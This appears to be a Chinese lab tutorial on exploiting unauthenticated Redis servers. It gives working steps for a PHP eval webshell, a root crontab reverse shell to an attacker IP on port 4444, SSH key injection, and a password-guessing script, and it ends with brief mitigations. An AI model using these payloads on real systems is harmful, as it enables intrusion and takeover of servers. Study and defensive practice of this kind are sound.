漏洞简介
Redis默认情况下,服务运行在6379端口,未配置策略情况下
1、防火墙规则允许其他非信任来源的IP访问:Redis服务将暴露在公网上
2、初始密码一般为空:任意用户都可以访问服务器,访问Redis以及读取数据。
产生原因:
1、默认端口6379,且公网任意IP均可访问
2、未设置密码,可免密登录redis服务
漏洞危害:
1、敏感信息泄露,恶意执行flushall清空所有数据
2、通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件
3、如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器
实验
环境搭建
1、下载redis
kali(攻击机):wget http://download.redis.io/redis-stable.tar.gz
centos(靶机):wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2、解压
tar -zxvf redis-stable.tar.gz
3、安装
cd redis-stable
make #全局生效
cp src/redis-cli /usr/bin/
如果出现cc错误,可能是没安装gcc
1.安装gcc
apt-get install gcc
2.若出现'致命错误',则执行
make MALLOC=libc
4、查看是否安装成功
redis-cli --help
5、启动redis
进入src目录,执行./redis-server
执行ping命令,如图说明正常运行
6、配置
cp redis.conf /usr/local/redis/
cp ./src/redis-server /usr/local/bin/
cp ./src/redis-cli /usr/local/bin/
修改配置文件: vim redis.conf
1)注释该行:允许除本地外的主机登录redis服务
2)修改运行时不受保护:允许远程连接redis服务
protected-mode no
3)修该为守护进程/后台程序:
daemonize yes
4)设置密码:
requirepass 123456 #可能需要增加字段
卸载redis:
ps aux|grep redis #查看运行状态
edis-cli shutdown #停止运行
删除redis目录 及/usr/local/redis相关文件即可
7、相关命令
redis-cli -h 目标主机IP地址 -p 端口号 -a 密码 #远程连接,
cd src ./redis-server #启动redis
cd src ./redis-cli shutdown #关闭redis
./src/redis-server .redis.conf #后台启动
ps -ef | grep redis #查看状态
netstat -nltp | grep 6379 #查看状态
----------------------------------------------------
info #查看redis版本信息、服务器版本信息等
config set 参数 内容 #修改配置
config get 参数/* #查看参数配置/所有参数配置
config keys * #查看键
save #保存修改内容
1、判断是否存在漏洞
扫描主机是否开启6379端口–redis服务
尝试空密码进行远程连接,输入info可查看详细信息
2、写入webshell
利用条件:
1.靶机redis链接未授权,在攻击机上能用免密,直接redis-cli连上
2.开启了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
利用思路:
我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件
实验过程:
比如我们知道靶机的web目录:/home/bmjoker/
写webshell时候,最好前后加入换行符\r\n,redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
靶机上查看写入的shell
shell例子
<?php
set_time_limit(0);
$fp=fopen('shell.php','w');
fwrite($fp,'<?php @eval($_POST[\"cmd\"]);?>');
exit();
?>
3、计划任务反弹shell
利用条件:靶机以root权限启动redis
用计划任务执行命令反弹shell,在redis以root权限运行时可以写crontab来执行命令反弹shell。如果此漏洞环境是用vulhub进行搭建的则不行,因为经过试验vulhub搭建的没有/var/spool/cron/这个目录,所以建议在linux中自行下载搭建
redis-cli -h 192.168.200.141 #连接靶机redis
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.200.140/4444 0>&1\n\n" #设置内容,反弹到kali
config set dir /var/spool/cron #设置路径
config set dbfilename root #设置名称
save #保存
等待一会就会回连
4、写入ssh公钥
利用条件:靶机以root权限启动redis
kali生成一对密钥
ssh-keygen #默认即可,回车三次
cd ~/.ssh
ls
把公钥前后加入空行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > suibian.txt
把公钥1.txt写入靶机
cat suibian.txt | redis-cli -h 192.168.200.141 -x set gongyao
远程登录靶机redies
redis-cli -h 192.168.200.141
修改redis备份路径为ssh公钥存放目录(一般是/root/.ssh)
config set dir /root/.ssh #设置
config get dir #查看是否设置成功
设置备份文件名称为authorized_keys
最后,save保存 ,exit退出即可
kali使用ssh免密登录靶机
service ssh status #查看kalissh运行状态
service start ssh #保证kali开启ssh服务
ssh -i id_rsa root@192.168.200.141 #使用密钥登录靶机
python弱口令检测脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
防范方法:
1、修改默认端口
2、redis.config绑定IP(白名单访问)
3、设置密码认证
4、以低权限运行redis服务